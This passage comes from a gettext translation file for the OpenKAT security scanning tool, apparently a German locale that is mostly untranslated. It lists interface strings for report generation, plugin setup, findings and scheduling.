\"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"Berichte\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 